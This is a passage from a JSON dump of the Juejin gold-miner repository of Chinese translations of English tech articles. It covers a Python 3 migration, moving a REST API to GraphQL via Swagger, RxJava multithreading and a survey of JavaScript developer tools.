。我们得到了一些令人讨厌的惊喜，因为这种行为以一些不明显的方式从堆栈中泄露出来，特别是在一些排序列表中存在  `None` 的时候。总的来说，这是一个胜利，因为我们发现了相当多的 bug 。 `None` 在 py2  的列表中排在第一位，这可能会让人感到惊讶（您可能会期望它被排序到接近于零的地方！), 现在我们只需要来处理它们。\n*   `'{}'.format(b'asd')` 在  Python 2 中是 `'asd'` , 但是在 Python 3 中是 `\"b'asd'\"` 。在 Python 3 中，这里几乎任何其他行为都会更好： 输出为十六进制 ( 结果明显更不一样 ) ，旧的行为 (之前的代码运行)，或者抛出异常 (最好的行为！)。\n*   `int('1_0')`  [在 py 3 中结果是 10 ](https://www.python.org/dev/peps/pep-0515/), 但是在 py2 中无效。这甚至在切换到 py3 之前就困扰了我们。因为这种错配导致了另一个在我们之前使用 py3 的团队给我们发送了我们认为无效而他们认为有效的有效值。我个人认为这个决定是错误的：非常严格的解析是更好的默认方式，我担心这将在未来几年会继续以微妙的方式困扰我们。\n\n### 结论\n\n最后，我们觉得在这件事上我们真的别无选择:  Python 2 的维护将在某个时刻停止，我们的依赖项仅限于 py3，最明显的就是 Django。但是，无论如何，我们还是想要进行这种转换，因为我们经常会被 bytes/Unicode 问题困扰，并且Python 3 仅仅是修复了 Python 2 中的许多小麻烦。这次迁移过程，我们已经在生产过程中发现了一些实际的漏洞/错误配置。我们也期待在任何地方都可以使用 f-string 和有序字典。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/moving-existing-api-from-rest-to-graphql.md",
    "content": "\n> * 原文地址：[Moving existing API from REST to GraphQL](https://medium.com/@raxwunter/moving-existing-api-from-rest-to-graphql-205bab22c184)\n> * 原文作者：[Roman Krivtsov](https://medium.com/@raxwunter)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/moving-existing-api-from-rest-to-graphql.md](https://github.com/xitu/gold-miner/blob/master/TODO/moving-existing-api-from-rest-to-graphql.md)\n> * 译者：[zaraguo](https://github.com/zaraguo)\n> * 校对者：\n\n# 将现有的 API 从 REST 迁移到 GraphQL\n\n最近的六个月内我发现几乎每一场有关于 Web 开发的大会都谈论到了 GraphQL。也有大量与其相关的文章被发表。但是所有的这些几乎都是在讲 GraphQL 的基础概念或者是新特性，说得很表面。因此我打算谈谈我在真实大型系统中采用 GraphQL 的个人经验。\n\n### REST 有什么问题\n\nREST（一如 SOAP）没有分离传输、安全和数据逻辑层面。这会带来很多问题。让我们来看看其中的几个。\n\n#### GET 查询能力的低下\n\n用 GET 语句进行复杂深入的查询是不可能的。假设我们需要查询用户。举一个很简单的例子：\n\n**GET** /users/?name=Homer\n\n然后想象一下，我们需要查找名字是 Homer 或者 Marge 的用户。事情就变得有点棘手了。当然，我们可以为这种需求定义一些分隔符。\n\n**GET** /users/?name=Homer|Marge\n\n但是，不要忘记转义这些字符！并且牢记，如果有人的名字中包含 “|” 那么你就完蛋啦。如果要结合两个不同的字段那么就更复杂了。更别说是需要同时满足上面两种条件的查询。\n\n目前我们一般都是使用字段来查询对应的内容。但是也时常需要用查询语句来传递一些服务数据。比如页码：\n\n**GET** /users/?name=Homer|Marge&limit=10&offset=20\n\n按逻辑来说，我们后端的查询解析器应该会将 limit 和 offset 识别为数据库的字段，因为他们被声明为和 “name” 字段同级的参数名。\n\n我们可以发明我们自己的语法或是用 POST 方法（这是不对的，因为这是一个幂等请求）但是这看起来像是在造轮子。\n\n#### 数据更新的问题\n\n使用 PUT 发送整个对象是最简单的 REST 更新数据的方式。但显而易见的是，当你仅仅只需要更新 1 Mb 大小的对象中的一个字段时，这并不是最有效的方式。\n\nHTTP 还有一个 PATCH 方法。但是它有一个问题。用算法来定义 **如何更新实体** 并不简单。现有多个规范建议你应该如何去做，比如 *RFC 6902，RFC 7396* 以及许多自定义解决方案。\n\n#### 命名问题\n\n我猜测每个曾与 REST 打交道的开发者都明白这种感受，当你不知道如何去命名你的新路由时。并非所有的业务实例都可以被描述为资源。例如我们想要搜索带有商店信息的商品。\n\n**GET** /search?product_name=IPhone&shop_name=IStore\n\n这里的资源是什么？商品？商店？搜索？\n\n天哪，我的 API 不再是 REST 风格了！\n\n另一个典型的例子便是用户登录。这里的资源又是什么？Spoiler：这里没有资源，这里只是个远程过程调用而已。\n\n#### 后端处理 REST\n\n```\napp.post((req, res) => {\n  const user = db.getUserByName(req.headers.name);\n  const user = db.getUserByName(req.query.name);\n  const user = db.getUserByName(req.path.name);\n  const user = db.getUserByName(req.body.name);\n});\n```\n\n这是一个 Express 路由的例子。这里我们试图获取用户的 ID 来查找用户。让我们看一看 API 函数通常应该是什么样子：\n\n![](https://cdn-images-1.medium.com/max/1200/1*-x82CcGJlLIOOJtRRBRNSg.png)\n\n函数接收参数，进行特定的处理并返回特定的结果。\n\n在这个 Express 路由的例子中我们的参数是什么？一个巨大杂乱的 *req* 对象，而我们仅需要其中很小的一部分数据。\n\n当然，这也是 Express 的一个问题（准确的说是 Node 的 HTTP 模块的问题），但是这样的接口也是因为 HTTP 的实现逐步进化而产生的 - 请求参数可以在任何位置，所以如果你本人不知道它或者没有使用描述良好的文档时想要准确知道参数位置是不可能的。\n\n这就是为什么使用没有接口文档的 REST 是如此的痛苦。\n\n### GraphQL\n\n在这里我们假设你早就熟悉 GraphQL 的基础知识。如果没有，你可以从 Apollo 写的关于 [GraphQL 基础知识](https://medium.com/apollo-stack/the-basics-of-graphql-in-5-links-9e1dc4cac055#.uyc4ml4jx)的介绍开始。\n\n正如我们前面所展示的，REST 存在一些 GraphQL 所没有的设计上的问题。并且 GraphQL 有着巨大的发展潜力。\n\n首先 GraphQL 提供 RPC 访问方式，这意味着你将不受客户端-服务端的交互限制。GraphQL 有它自己的类型系统，这意味不再有令人误解的错误和漏洞。并且类型系统意味着你的客户端可以提供 item 级别的数据智能缓存。还拥有大量像是网络连接（游标和分页）、批处理、延时等的面向 Web 的特性。它 **使你的客户端-服务端交互尽可能的高效**。\n\n> 但是 REST 仍然是业内标准\n\n是的，无论我们是否喜欢，REST 都是近几年 API 的主流形式。 \n\n但是我们仍然可以为一些内部需求（比如对接一些高级客户端）去使用 GraphQL，其他的使用 REST。\n\n为此，我们需要将 REST 路径包装成 GraphQL 类型。这里有一些文章和例子（被提到最多的是 [swapi-rest-graphql](https://github.com/apollostack/swapi-rest-graphql)）关于从 REST 迁移到 GraphQL。但是它们建议使用自定义解析器，这无法满足拥有成百上千路径的大型项目。\n\n在我最近的三个项目中我使用 [Swagger](http://swagger.io) 来描述 REST 接口。它或多或少都算是声明式接口描述的标准。坦白说我真的不知道那些编写庞大却毫无描述的接口的人们是如何做到的。\n\n一方面我们把 Swagger 作为声明式 REST 接口的标准，另一方面也可以这么看 GraphQL，我们可以看到它们其实非常相似，只是除此之外 Swagger 还尝试去描述 HTTP 细节和业务逻辑。**它们都描述了传入参数和传出响应的类型**。这意味着我们可以在它们之间写适配器！ \n\n![](https://cdn-images-1.medium.com/max/1200/1*R55lFpFRNqkScfMnTXpPfw.png)\n\nREST 路径是这样子的\n\n**GET** /user/id\n\n可以采用 GraphQL 类型。\n\n所以现在我们只需一个库来帮助我们自动转换。下面这个就是！\n\n[https://github.com/yarax/swagger-to-graphql](https://github.com/yarax/swagger-to-graphql)\n\nSwagger2graphQL 接收你的 Swagger schema 然后返回 GraphQL schema，同时解析程序将自动构建 HTTP 请求到已有的 REST 路径上。\n\n它被构建为一个将拥有超过 150 个路径的真实大型系统迁移到 GraphQL 的副项目。我们需要在做功和问题都最少的情况下尽快地迁移到 GraphQL。\n\n只需要克隆资源库，运行\n\n*npm install && npm start*\n\n然后访问 [http://localhost:3009/graphql](http://localhost:3009/graphql)\n\n你会看到封装在 [http://petstore.swagger.io/](http://petstore.swagger.io/) Swagger 示例接口上的 GraphQL 接口。\n\n而且，有了 Swagger 和 GraphQL 编写新的路径将变得十分方便。如果你早就熟悉 GraphQL，你可能会发现有时候类型描述看起来相当冗长，因为你需要去创建大量的隐式类型。Swagger2graphQL 可以自动完成这些步骤，你只需要在 Swagger schema 中创建一个新的带有声明的路径，通常这很简单。\n\n如果你遇到任何困难或者有疑问请向我提 issue！\n\n同时你也可以在 [Twitter](http://twitter.com/raxpost) 上找到我\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/multithreading-with-rxjava-dadddc.md",
    "content": "\n> * 原文地址：[Multithreading with RxJava](https://android.jlelse.eu/multithreading-with-rxjava-dadddc4f7a63#.yghtx4u43)\n> * 原文作者：[Pierce Zaifman](https://android.jlelse.eu/@PierceZaifman?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[PhxNirvana](https://github.com/phxnirvana)\n> * 校对者：[yazhi1992](https://github.com/yazhi1992)、[stormrabbit](https://github.com/stormrabbit)\n\n# RxJava 中的多线程 #\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*PD7aznI_MSxRwXI37a7mtg.jpeg\">\n\n大多数情况下，我写的 Android 代码都是可以流畅运行的。直到上几周编写一个需要读取和分析大型文件的 app 之前，我从未关心过 app 运行速度的问题。\n\n尽管我期望用户明白文件越大，耗时越长的道理，有时候他们仍会放弃我的应用。他们可能认为应用卡住了，也可能是因为他们就不想等那么久。所以如果我能把时间缩短至少一半的话，一定会大有裨益的。\n\n#### 第一次尝试 ####\n\n因为我所有后台任务都用 RxJava 重写了，所以继续用 RxJava 来解决这个问题也是自然而然的。尤其是我还有一些如下所示的代码：\n\n```\nList<String> dataList;\n//这里是数据列表\n\nList<DataModel> result = new ArrayList<>();\nfor (String data : dataList) {\n    result.add(DataParser.createData(data));\n}\n```\n\n所以我只是想把循环的每个操作放到一个后台线程中。如下所示：\n\n```\nList<String> dataList;\n//这里是数据列表\n\nList<Observable<DataModel>> tasks = new ArrayList<>();\n\nfor (String data : dataList) {\n    tasks.add(Observable.just(data).subscribeOn(Schedulers.io()).map(s -> {\n        // 返回一个 DataModel 对象\n        return DataParser.createData(s);\n    }));\n}\n\nList<DataModel> result = new ArrayList<>();\n\n// 等待运行结束并收集结果\nfor (DataModel dataModel : Observable.merge(tasks).toBlocking().toIterable()) {\n    result.add(dataModel);\n}\n```\n\n的确起作用了，时间减少了近一半。但也导致大量垃圾回收（GC），这使得加载时的 UI 又卡又慢。为了搞清楚问题的原因，我加了一句 log 打印如下信息 `Thread.currentThread().getName()`。 这样我就搞清楚了，我在处理每一段数据时都新建了线程。正如结果所示，创建上千个线程并不是什么好主意。\n\n#### 第二次尝试 ####\n\n我已经完成了加速数据处理的目标，但运行起来并不那么流畅。我想知道如果不触发这么多 GC 的话还能不能跑得再快点。所以我自己写了一个线程池并指定了最大线程数来供 RxJava 调用，省的每次处理数据都要创建新线程：\n\n```\nList<String> dataList;\n//这里是数据列表\n\nList<Observable<DataModel>> tasks = new ArrayList<>();\n\n// 取得能够使用的最大线程数\nint threadCount = Runtime.getRuntime().availableProcessors();\nExecutorService threadPoolExecutor = Executors.newFixedThreadPool(threadCount);\nScheduler scheduler = Schedulers.from(threadPoolExecutor);\n\nfor (String data : dataList) {\n    tasks.add(Observable.just(data).subscribeOn(scheduler).map(s -> {\n        // 返回一个 DataModel 对象\n        return DataParser.createData(s);\n    }));\n}\n\nList<DataModel> result = new ArrayList<>();\n\n// 等待运行结束并收集结果\nfor (DataModel dataModel : Observable.merge(tasks).toBlocking().toIterable()) {\n    result.add(dataModel);\n}\n```\n\n对于单个数据都很大的数据集来说，这样减少了约 10% 的数据处理时间。然而，对于单个数据都很小的数据集就减少了约 30% 的时间。同时也减少了 GC 的调用次数，但 GC 还是太频繁。\n\n#### 第三次尝试 ####\n\n我有一个新想法——如果性能的瓶颈是频繁的切换和调用线程呢？为了克服这个问题，我可以将数据集根据线程的数目平均分成总数量相等的子集合，每个子合集丢给一个线程处理。这样虽然是并发运行，但是每个线程被调用的次数将被降低到最小。我尝试使用 [这里](https://github.com/ReactiveX/RxJava/issues/3532#issuecomment-157509946) 的解决方法来实现我的想法：\n\n```\nList<String> dataList;\n//这里是数据列表\n\n\n// 取得能够使用的最大线程数\nint threadCount = Runtime.getRuntime().availableProcessors();\nExecutorService threadPoolExecutor = Executors.newFixedThreadPool(threadCount);\nScheduler scheduler = Schedulers.from(threadPoolExecutor);\n\nAtomicInteger groupIndex = new AtomicInteger();\n\n// 以线程数量为依据分组数据，将每组数据放到它们自己的线程中\nIterable<List<DataModel>> resultGroups = \n    Observable.from(dataList).groupBy(k -> groupIndex.getAndIncrement() % threadCount)\n        .flatMap(group -> group.observeOn(scheduler).toList().map(sublist -> {\n            List<DataModel> dataModels = new ArrayList<>();\n            for (String data : sublist) {\n                dataModels.add(DataParser.createData(data));\n            }\n            return dataModels;\n        })).toBlocking().toIterable();\n\nList<DataModel> result = new ArrayList<>();\n\n// 等待运行结束并收集结果\nfor (List<DataModel> dataModels : resultGroups) {\n    result.addAll(dataModels);\n}\n```\n\n上文中我提到用两类数据集进行测试，一类的数据本身是大文件，但是数据集里包含的数据个数很少；另一类数据集里的每一个数据并不是很大，但是包含数据的总量很多。当我再次测试时，第一组数据几乎没差别，而第二组改变相当大。之前几乎要 20秒，现在只需 5秒。\n\n第二类数据集运行时间改进了如此大的原因，是因为每个线程不再处理一个数据（而是处理一个从总体数据集里拆分下来的小数据集）。之前每一个数据，都需要调用一个线程来处理。现在我减少了调用线程的次数，从而提升了性能。\n\n#### 整理 ####\n\n上面的代码要执行并发还有一些地方需要修改，所以我整理了代码并放到工具类中，使其更具有通用性。\n\n```\n/**\n * 将数据集拆分成子集并指派给规定数量的线程，并传入回调来进行具体业务逻辑处理。\n * <b>T</b> 是要被处理的数据类型，<b>U</b> 是返回的数据类型\n */\npublic static <T, U> Iterable<U> parseDataInParallel(List<T> data, Func1<List<T>, U> worker) {\n    int threadCount = Runtime.getRuntime().availableProcessors();\n    ExecutorService threadPoolExecutor = Executors.newFixedThreadPool(threadCount);\n    Scheduler scheduler = Schedulers.from(threadPoolExecutor);\n\n    AtomicInteger groupIndex = new AtomicInteger();\n\n    return Observable.from(data).groupBy(k -> groupIndex.getAndIncrement() % threadCount)\n            .flatMap(group -> group.observeOn(scheduler).toList().map(worker)).toBlocking().toIterable();\n\n}\n\n\n\n//***EXAMPLE USAGE***\nIterable<List<DataModel>> resultGroups = Util.parseDataInParallel(dataList,\n    (sublist) -> {\n        List<DataModel> dataModels = new ArrayList<>();\n        for (String data : sublist) {\n            dataModels.add(DataParser.createData(data));\n        }\n        return dataModels;\n    });\n\nList<DataModel> results = new ArrayList<>();\nfor (List<DataModel> dataModels : resultGroups) {\n    results.addAll(dataModels);\n}\n```\n\n这里 `T` 是被处理的数据类型，样例中是`DataModel`。传入待处理的 `List<T>` 并期望结果是 `U`。在我的样例中 `U` 是 `List<DataModel>`，但它可以是任何东西，并不一定是一个 list。传入的回调函数负责数据子列表具体的业务处理并返回结果。\n\n#### 可以再快点么？ ####\n\n事实上影响运行速度的因素有许多。比如线程管理方式，线程数，设备等。大多数因素我无法控制，但总有一些是我没有考虑到的。\n\n如果每个数据大小不相等会怎么样？举个例子，如果有 4 个线程，每个被指派给第 4 线程的数据大小是被指派给其他线程的十倍会怎么样？这时第四个线程的耗时就是其他线程的大约 10 倍。这种情况下使用多线程就不会减少多少时间。我的第二次尝试基本解决了这个问题，因为线程只在需要时才初始化。但这个方法太慢了。\n\n我也试过改变数据分组方式。作为随意分配的取代，我可以跟踪每一组数据的总量，然后将数据分配给最少的那组。这样每个线程的工作量就接近平均了。倒霉的是，测试之后发现这样做增加的时间远大于它节省的时间。\n\n数据被分配的大小越平均，处理速度就越快。但大多数情况下，随机分配看起来更快些。理想情况下是每个线程一有空就分配任务，同时执行分配所消耗的资源也少，这是最高效的。但我找不到一个足够高效的可以减少分配瓶颈的方法。\n\n#### 总结 ####\n\n所以如果你想用多线程，这是我的建议。如果你有什么好想法，请务必告诉我。得到一个最优解（如果有的话）总是很难的。以及，**能**用多线程并不意味着**必须**用多线程。。\n\n### 如果有收获的话，轻轻扎一下小红心吧老铁。想阅读更多，在 [Medium](https://medium.com/@piercezaifman) 关注我。谢谢！（顺便关注一下 [译者](https://juejin.im/user/57a16f4e6be3ff00650682d8) 233） ###\n"
  },
  {
    "path": "TODO/must-see-javascript-dev-tools-that-put-other-dev-tools-to-shame.md",
    "content": "> * 原文链接: [Must See JavaScript Dev Tools That Put Other Dev Tools to Shame](https://medium.com/javascript-scene/must-see-javascript-dev-tools-that-put-other-dev-tools-to-shame-aca6d3e3d925#.wm0lbpiko)\n* 原文作者 : [Eric Elliott](https://medium.com/@_ericelliott)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [赵鑫晖](https://github.com/zxc0328)\n* 校对者 : [achilleo](https://github.com/achilleo)\n* 状态 : 完成  \n\n# 2015 年底 JS 必备工具集\n\n>“Javascript没法胜任大型应用，因为它甚至不能确定一个变量的类型，而且很难重构”~一大堆困惑的人\n\n\n当我初识Javascript的时候，只有一种浏览器需要关心：NetScape。它在微软开始捆绑销售IE和操作系统之前完全统治了世界。在那些日子里，Javascript的开发者工具很弱这种观点的确是对的。\n\n\n不过这个观点已经被推翻很久了，今天，Javascript已经拥有了在我见过的所有语言中最好的开发工具生态系统。\n\n\n请注意，我没有说“最好的IDE”。如果你正在寻找一款统一了不同开发工具使用体验的集成式IDE，请试试微软为C#打造的Visual Studio，和Unity一起使用风味更佳。虽然我本人并没有使用过，但是听我信任的人说这很靠谱。\n\n\n我用过C++和虚幻引擎。当我第一次试用的时候，我意识到web平台的开发工具仍然有很长的路要走。\n\n\n不过我们已经走过了很长一段路，现在我们在JS中使用的工具让IDE神奇的自动补全看起来就像是 小孩的玩具。尤为是JavaScript的运行时工具，在我见过的所有其他语言中都没有对手。\n\n\n>“Javascript拥有在我见过的所有语言中最好的开发工具生态系统。”\n\n\n\n#### 什么是开发者工具？\n\n\n开发者工具是一套让开发者更轻松的软件集合。传统上，我们主要将IDE，linter，编译器，调试器，和性能分析器认为是开发者工具。\n\n\n不过JavaScript是一种动态语言，伴随它的动态特性而来的是对运行时开发者工具的需求。JavaScript对此的需求程度很高。\n\n\n为了实现我写这篇文章的初衷，我将包括对运行时工具的介绍，甚至包括一些能提升运行时开发者工具可视化和调试体验的库。开发工具与库之间的界线将开始模糊。与之而来的将是令人震惊的结果。\n\n\n#### 开发者工具一览表\n\n*   [Atom](https://atom.io/) & [atom-ternjs](https://atom.io/packages/atom-ternjs)\n*   [Chrome Dev Tools](https://developer.chrome.com/devtools)\n*   [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/)\n*   [FireFox Developer Edition](https://www.mozilla.org/en-US/firefox/developer/)\n*   [BrowserSync](http://www.browsersync.io/)\n*   [TraceGL](https://github.com/traceglMPL/tracegl)\n*   [ironNode](http://s-a.github.io/iron-node/)\n*   [ESLint](http://eslint.org/)\n*   [rtype](https://github.com/ericelliott/rtype) (规范) & [rfx](https://github.com/ericelliott/rfx) (库) **提示:** 这些是未完成的开发预览版\n*   [Babel](http://babeljs.io)\n*   [Greenkeeper.io](http://greenkeeper.io/) & [updtr](https://github.com/peerigon/updtr)\n*   [React](https://facebook.github.io/react/)\n*   [Webpack](https://webpack.github.io/) + [Hot module replacement](https://github.com/webpack/docs/wiki/list-of-plugins)\n*   [Redux](http://redux.js.org/) + [Redux DevTools](https://github.com/gaearon/redux-devtools)\n\n\n#### 关于这些工具\n\n\n你的开发者生涯将围绕着这两个东西展开：**编辑器**，和你的**运行环境**（比如，浏览器，平台，和你代码的目标设备）\n\n\n**编辑器：**我是用着像Borland IDE，微软Visual Studio，Eclipse和WebStorm这样的大型，重量级，高度集成的IDE开始我的职业生涯的。我认为这些IDE中最好的是**WebStorm** 和 **Visual Studio**。\n\n\n\n但是我对这些IDE体积的膨胀感到厌倦，所以在最近几年里，我的代码都是在更精简的编辑器中写成的。主要是Sublime Text，不过我最近切换到了[**Atom**<sup>[1]</sup>](https://atom.io/)。你一定会需要[atom-ternjs<sup>[2]</sup>](https://atom.io/packages/atom-ternjs)来启用JavaScript智能感知特性。你可能也会对Visual Studio Code感兴趣。这是一个简约版Visual Studio，专为喜欢像Sublime Text和Atom这样的小型可拓展编辑器的人打造。\n\n\n我也使用vim在终端里进行快速编辑。\n\n**调试器：**在我开始web编程之旅时，我想念那些集成的调试器。不过Chrome和FireFox团队将运行时调试提升到了一个全新的水准。今天似乎每个人都听说过Chrome DevTools，并且知道如何逐步调试代码。不过你知道它有对性能及内存进行记录和审查（profiling and auditing）的高级特性吗？你用过flame charts或者the dominators view吗？\n\n\n说到性能审查，你需要了解[PageSpeed Insights<sup>[3]</sup>](https://developers.google.com/speed/pagespeed/insights/):\n\n<iframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/bDUDuQy3R7Y?list=PLOU2XLYxmsILKwwASNS0xgfcmakbK_8JZ\" frameborder=\"0\" allowfullscreen=\"\"></iframe>\n\n\n除此之外，Chrome DevTools也有一些酷炫的特性，比如像CSS实时编辑，以及可以帮助你编辑动画的超酷特性。去了解Chrome DevTools吧，你不会后悔的。\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/hJdqtBeAUNI\" frameborder=\"0\" allowfullscreen=\"\"></iframe>\n\n\n为了不被超过，FireFox有一个专为开发者打造的浏览器[FireFox Developer Edition<sup>[4]</sup>](https://www.mozilla.org/en-US/firefox/developer/):\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/g9k4IrtaPMs?list=PLo3w8EB99pqLRJBWRCoyGTIrkctoUgB9W\" frameborder=\"0\" allowfullscreen=\"\"></iframe>\n\n\n**BrowserSync:** [BrowserSync<sup>[5]</sup>](http://www.browsersync.io/)可以一次同时控制几个浏览器，这是检测你的响应式布局的一种好办法。换句话说，你可以使用BrowserSync CLI来在桌面，平板和手机上打开你的app。\n\n\n你可以设定文件监视（watch files），然后当文件改动时，几个同步的浏览器会自动刷新。滚动，点击，以及表单互动这些动作都将会被同步到所有设备，所以你可以毫不费力地测试 app 的工作流，确保它在任何设备上都能正常运行。\n\n<iframe width=\"640\" height=\"480\" src=\"https://www.youtube.com/embed/heNWfzc7ufQ\" frameborder=\"0\" allowfullscreen=\"\"></iframe>\n\n\n**TraceGL:** [TraceGL<sup>[6]</sup>](https://github.com/traceglMPL/tracegl) 是一个运行时调试工具，它让你可以观察软件中实时发生的所有函数调用，而不是逐步手动调试你的代码，一次一步。这是一个超级强大和有用的功能。\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/TW6uMJtbVrk\" frameborder=\"0\" allowfullscreen=\"\"></iframe>\n\n\n**ironNode:** [ironNode<sup>[7]</sup>](http://s-a.github.io/iron-node/) 是一个用于调试Node的桌面app。由Electron，一个桌面跨平台运行时驱动。Electron也驱动了Atom编辑器。就像node-inspector，ironNode允许你使用类似Chrome DevTools的特性来追踪你的代码。\n\n<iframe width=\"640\" height=\"480\" src=\"https://www.youtube.com/embed/pxq6zdfJeNI\" frameborder=\"0\" allowfullscreen=\"\"></iframe>\n\n\n将ironNode和Babel一起使用，我使用如下的_`debug.js`_ 脚本：\n<pre>require('babel-core/register');  \nrequire('./index');\n</pre>\n\n\n加载调试器：\n\n<pre>iron-node source/debug.js\n</pre>\n\n\n这就像魔法一样，不是吗？\n\n\n**Linting:** [ESLint<sup>[8]</sup>](http://eslint.org/) 是目前为止我用过的各种语言的linter中最好的。我喜欢ESLint甚于JSHint，ESLint比JSHint好太多了。如果你不确定使用什么，别担心，使用ESLint。为什么它这么酷呢？\n\n*   可配置性高 - 每一个选项都可以被开启或关闭。这些选项甚至可以接收参数。\n*   创造你自己的规则。你有你想要在你的团队中强制执行的代码规范吗？在linter中可能已经有了这样的规则，不过如果没有，你可以写你自己的规则。\n*   支持插件 - 使用了某些特殊语法？ES6+或者未来版本JavaScript的实验性特性？没问题。使用了React的JSX语法打造简洁的UI组件？没问题。使用了你自己的实验性JavaScript语法拓展？没问题。\n\n\n**类型支持：** JavaScript具有松散的类型，这意味着你不必注解所有的类型。过去数年我在C++和Java这样的语言中注解所有东西。当我开始使用JavaScript之后，我感到如释重负。类型注解在你的源文件中制造了杂音。函数通常在没有类型注解时更易用。\n\n\n和大众认知相反，**JavaScript是有类型的**，但是JavaScript在**值**层面区别类型而不是变量层面。变量类型可以被类型推断识别并预测出来（这就是Atom TernJS插件的作用）。\n\n\n这就是说，类型注解和签名（signature）声明是为了一个目的：它们对于开发者来说是不错的文档。它们也使JavaScript引擎以及编译器作者的一些重要性能优化成为可能。作为一个构建app的JavaScript程序员，你不应该担心性能问题。把这些留给引擎和制定规范的团队吧。\n\n\n不过关于类型注解我最喜欢的一点是运行时类型反射。使用类型反射可以开启运行时开发者工具。想知道这样的工具是什么样的，请阅读[\"The Future of Programming: WebAssembly and Life After JavaScript\"<sup>[9]</sup>](http://www.sitepoint.com/future-programming-webassembly-life-after-javascript/)。\n\n\n数年来，我使用JSDoc来注解类型，编写文档以及类型推断。不过我对其麻烦的限制感到厌倦。这感觉就像你使用一种不同的语言编写代码，之后将它挤压成JavaScript（这是真的）。\n\n\n我也对TypeScript的结构化类型方案感到印象深刻。\n\n不过TypeScript存在一些问题：\n\n\n*   TypeScript不是标准的JavaScript - 选择TypeScript意味着选择TypeScript编译器以及工具生态 - 这通常导致你无法选择为JavaScript标准设计的方案。\n*   TypeScript很大程度上基于class。这与JavaScript的原型和对象组合特性八字不合。\n*   目前为止，TypeScript不提供运行时解决方案… - 他们正在使用实验性的新JavaScript **Reflect** API构建。不过接下来你可能会依靠这些实验性极高的规范特性，这些特性也许会成为最终标准，也许不会。\n\n\n因为这些，我启动了（目前还未完成）[rtype<sup>[10]</sup>](https://github.com/ericelliott/rtype)和[rfx<sup>[11]</sup>](https://github.com/ericelliott/rfx)项目。**rtype** 是一个函数和接口反射规范，对于了解JavaScript的读者来说，这一规范形成了不言自明的文档。**rfx** 是一个用于封装已经存在的JS函数及对象然后添加类型元数据的库。同时，它也可以加入自动运行时类型检查。我正在积极的与人们合作以改进rtype和rfx。也欢迎你们的贡献。\n\n\n你要记得rtype和rfx还非常年轻，并且在短期之内几乎必定会有革命性的变化。\n\n\n**Babel:** [Babel<sup>[12]</sup>](http://babeljs.io/) 是一个让你立即在JavaScript代码中使用还不被支持的ES6+, JSX以及其他特性的编译器。它的原理是将你的代码翻译成等价的ES5代码。一旦你开始使用它，我敢说你将很快对新语法上瘾，因为ES6为这门语言提供了一些真正有价值的语法拓展，像解构赋值（destructuring assignment），默认参数值，剩余和展开参数（rest parameters and spread），简洁对象字面量（concise object literals），以及更多… 阅读[\"How to Use ES6 for Universal JavaScript Apps\"<sup>[13]</sup>](https://medium.com/javascript-scene/how-to-use-es6-for-isomorphic-javascript-apps-2a9c3abe5ea2)来了解细节。\n\n\n**Greenkeeper.io:** [Greenkeeper<sup>[14]</sup>](http://greenkeeper.io/) 监控你的项目依赖并且自动向你的项目提交一个pull request。你要确保你已经设定了CI解决方案来自动测试pull requests。如果测试通过，只要点击“merge”，就完工了。如果测试失败，你可以手动跟进并且找出哪里需要修复，或者直接关闭PR。\n\n\n如果你偏爱手动的方法，看看[**updtr**<sup>[15]</sup>](https://github.com/peerigon/updtr)。在你第一次开启Greenkeeper之前，我推荐先在你的项目上运行updtr。\n\n\n**Webpack:** [Webpack<sup>[16]</sup>](https://webpack.github.io/) 将模块和依赖打包成浏览器可用的静态资源。它支持大量有趣的特性，比如模块热替换，这让你正在为浏览器编写的代码在文件更改时自动更新，而不用刷新页面。模块热替换是迈向真正持续实时开发反馈循环的第一步。如果你还没有使用webpack，你应该使用它。为了更快入门，看看[**Universal React Boilerplate**<sup>[17]</sup>](https://github.com/cloverfield-tools/universal-react-boilerplate)这个项目里的webpack配置。\n\n\n**React:** 这一个有一点跑题，因为[React<sup>[18]</sup>](https://facebook.github.io/react/) 严格意义上来说不是一个开发者工具。它和一个UI库有着更多的共同点。请把React想象成现代的jQuery：一种更简单的处理DOM的办法。但React比这更强大。事实上，你可以把React对准一大堆DOM之外的平台，包括原生移动UI APIs(iOS & Android)，WebGL, canvas以及更多。Netflix将React的目标平台设为了他们自己的Gibbon 